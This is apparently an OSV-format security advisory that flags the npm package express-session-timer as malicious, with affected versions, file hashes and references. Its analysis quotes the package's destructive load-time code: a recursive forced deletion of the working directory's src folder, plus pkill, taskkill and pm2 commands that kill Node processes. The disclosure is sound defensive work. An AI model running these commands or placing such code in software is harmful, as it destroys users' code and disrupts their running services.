express-session-timer

{"schema_version":"1.7.4","id":"MAL-2026-16065","published":"2026-09-09T01:41:37Z","modified":"2026-09-30T05:21:35.836638964Z","summary":"Malicious code in express-session-timer (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `<cwd>/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n","affected":[{"package":{"name":"express-session-timer","ecosystem":"npm"},"versions":["1.0.0","1.0.1","1.0.13","1.0.14","1.0.16","1.0.11","1.0.15"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"32ee0e5d694c1f305f7bc58397f72af2b2f57f50403f63a506a285fda438f862","tlsh":"8341fb6329faa0b096f10fe096320543786bca221618e25576ddc2fa0ff15158637dfc"}],"package_integrity":[{"filename":"express-session-timer-1.0.0.tgz","hashes":{"sha1":"1d5c25eaa86e7f14c66f76c3000fb2b4a1732279","sha512_sri":"sha512-KOyAMl2Wsb3uMglxK3a/H9mnqhx9aIXN9OnSS7imUY6PnriN6RgbGdCTLeX0yt9fHXNG8LpO0HMeRx0KYYziaA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.13"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.14"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.16"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.11"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/express-session-timer/v/1.0.15"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-019754","import_time":"2026-09-09T01:51:49.577322873Z","modified_time":"2026-09-09T01:42:21Z","sha256":"00eac4d0f15311278581562efe1555e048ce855c65104d099af4dddc07c2795d","source":"amazon-inspector","versions":["1.0.0"]},{"id":"IN-MAL-2026-019755","import_time":"2026-09-09T01:51:49.694167126Z","modified_time":"2026-09-09T01:42:30Z","sha256":"325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f","source":"amazon-inspector","versions":["1.0.1"]},{"id":"IN-MAL-2026-019749","import_time":"2026-09-09T01:51:49.061534597Z","modified_time":"2026-09-09T01:41:37Z","sha256":"398cafd4f124621898f147aa0dda153737f202110454bebf295702d44bab4abe","source":"amazon-inspector","versions":["1.0.13"]},{"id":"IN-MAL-2026-019750","import_time":"2026-09-09T01:51:49.160195686Z","modified_time":"2026-09-09T01:41:44Z","sha256":"7b07974b64ed463310b6ed3f8d50dec25f71dbea81e48eabd11f9fbd780179c5","source":"amazon-inspector","versions":["1.0.14"]},{"id":"IN-MAL-2026-019751","import_time":"2026-09-09T01:51:49.255116211Z","modified_time":"2026-09-09T01:41:54Z","sha256":"d29f13ecbca1a218f86c2e641fdab971c2576eb4885931f9472768784d45489a","source":"amazon-inspector","versions":["1.0.16"]},{"id":"IN-MAL-2026-020817","import_time":"2026-09-30T05:19:46.540500594Z","modified_time":"2026-09-30T05:07:32Z","sha256":"4356d64e3b9ada95af1340d7bfaf61c46050a0bb2d7d56a4b4b11f50dda13caa","source":"amazon-inspector","versions":["1.0.11"]},{"id":"IN-MAL-2026-020816","import_time":"2026-09-30T05:19:46.444731613Z","modified_time":"2026-09-30T05:07:21Z","sha256":"4c1411d213c64bbaa30bc8aedf746c1e69b624548450fbf087013f2fd25a1ec4","source":"amazon-inspector","versions":["1.0.15"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}